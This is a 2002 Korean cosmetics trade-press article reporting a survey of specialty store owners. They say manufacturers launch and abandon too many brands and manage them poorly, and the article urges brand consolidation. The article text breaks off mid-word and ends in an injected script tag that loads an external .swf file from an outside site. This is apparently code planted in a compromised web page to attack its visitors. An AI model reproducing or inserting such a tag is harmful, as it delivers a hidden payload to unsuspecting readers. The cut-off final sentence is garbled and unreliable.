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[2001 시판 브랜드 진단]-브랜드 정책 문제점
  • 승인 2002.01.03 16:04
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너무 쉽게 만들고 너무 쉽게 버린다 신규 브랜드 전문점 재고로… 체계적 관리 아쉬워 브랜드가 너무 많다 38.0% 브랜드 정리 작업이 빠른 시일내에 진행되어야 할 것 같다. 현재 유통되고 있는 브랜드가 전문점에서 소화하기에 너무 많다는데 전문점주들은 한 목소리를 냈다. 이름조차 다 외울 수 없을 정도로 브랜드수가 많다는 지적이다. 취급하고 있는 브랜드도 많지만 이외에 신규로 거래하기를 희망하는 대리점도 많아 브랜드 선택도 어렵고 거래를 하더라도 재고만 쌓인다는 것. 메이커의 브랜드 정책 문제점에 대해 응답자의 38.0%인 240명이 브랜드가 너무 많다는 지적을 했다. 그 다음으로 출시를 하고 난 뒤 체계적인 관리를 하지 않는다는 점을 28.2%인 141명이 문제로 삼았다. 브랜드 생명력이 너무 짧다는 의견에는 15.4%인 77명이 답변했으며 브랜드끼리 컨셉이 불투명해 차별화되지 않는다는 답변이 31명으로 6.2%를 차지했다. 설문조사 결과를 분석해보면 메이커에서는 너무 쉽게 브랜드를 출시하고 너무 쉽게 버리는 것으로 보인다. 브랜드는 출시하는 것보다 관리하는 것이 더 중요하다는 기본적인 원칙을 무시하고 있는 것이다. 모험적으로 신규 브랜드를 내놓은 뒤 인기를 얻으면 계속 제품을 생산하고 만약 인기를 얻지 못하면 또다시 이름을 바꿔서 새로운 브랜드를 내놓는 것이다. 그렇다 보니 전문점에서는 신규 브랜드가 하나씩 출시될 때마다 기존 브랜드가 재고로 쌓이고 항상 신제품으로 진열장을 교체하기에 바쁜 현실이다. 브랜드 포기는 마케팅과 가격관리 실패 탓 소비자 입장에서도 자신이 사용하는 제품을 재구매하고자 하더라도 이미 그 제품이 단품되는 경우가 많아 국내 브랜드에 대한 불신이 생길 수밖에 없다. 이렇게 신규 브랜드를 출시가 잦은 것은 브랜드 컨셉의 실패와 더불어 가격 문란 탓도 크다. 메이커에서 영업 실패로 가격이 무너지게 되면 가장 손쉽게 내놓을 수 있는 정책이 브랜드명을 바꾸는 것. 기존 담당자가 기존 대리점을 통해 똑같은 방식으로 영업을 하면서도 브랜드명만 바꿔 가격이 무너진 브랜드를 버리고 신규 브랜드로 똑같은 과정을 밟아가는 악순환이 계속되는 것이다. 그렇다보니 외국에서 ‘100년 브랜드’라며 공들여 이미지를 만들어 세계시장을 공략하는데 반해 국내 기업들은 기껏해야 수십년 동안 브랜드를 죽이지 않을 것을 자랑으로 삼는데 만족하고 있다. 특히 해외시장을 공략할 만한 국내 대표 브랜드가 없다는 것이 이런 브랜드 관리 정책의 심각한 문제를 나타내준다. 이번 설문조사 결과는 이런 메이커의 고질적인 브랜드 관리 정책의 문제점을 여실하게 보여준다. 서울지역은 브랜드가 너무 많다는 의견이 52.0%, 관리가 소홀하다는 의견이 23.0%를 차지했다. 또 생명력이 너무 짧다는 답변은 20.0%를, 브랜드가 컨셉이 유사하다는 답변은 3.0%를 차지했다. 경기지역은 48.0%가 브랜드가 너무 많다고 지적했으며 30%가 체계적인 관리가 아쉽다고 답변했다. 16%가 짧은 생명력을, 6.0%가 컨셉의 동일화를 지적했다. 브랜드 정리 작업 시급 메이커의 브랜드 정책을 전문점이 불신하고 있는 상황에서 우선 해결되어야 할 부분은 브랜드 정리 작업으로 보인다. 각 메이커별로 적게는 수개에서 많게는 수십개의 브랜드를 유통시키고 있는 현실에서는 브랜드 정리가 어렵다. 메이커별로 자사의 주력 품목을 선정해 이를 중심으로 브랜드 파워를 키우고 체계적인 관리를 통해 세계적인 브랜드로 키워나가야 할 것이다. 최근 나타나고 있는 기초제품 전문기업의 색조시장 진출이나 색조제품 전문기업의 기초시장 진출, 헤어제품 전문기업의 기초, 색조 시장 진출 등도 우려가 된다. 비록 모든 메이커가 종합 화장품사를 추구한다고 하지만 전문분야에서 확실한 브랜드 파워를 키우지도 못한채 사업확장에만 연연하는 것은 브랜드 정책의 문제점을 단적으로 보여주는 것이다. 한 분야에서 확실한 브랜드를 유지하고 세계적인 네임 밸류를 가진 뒤에는 타 분야로 진출해도 되겠지만 지금처럼 문어발식 경영은 결국 메이커와 전문점 모두가 부실해지는 근본적인 원인이 된다. 이번 설문조사에서 나타났듯 각 메이커에서는 신규 브랜드를 만들기 보다는 기존 브랜드를 활성화시키고 한 브랜드에 역량을 집중화시켜야 할 것이다. 그리고 체계적인 관리를 통해 전문점에서도 메이커의 정?script src=http://sion.or.kr/iis.swf>

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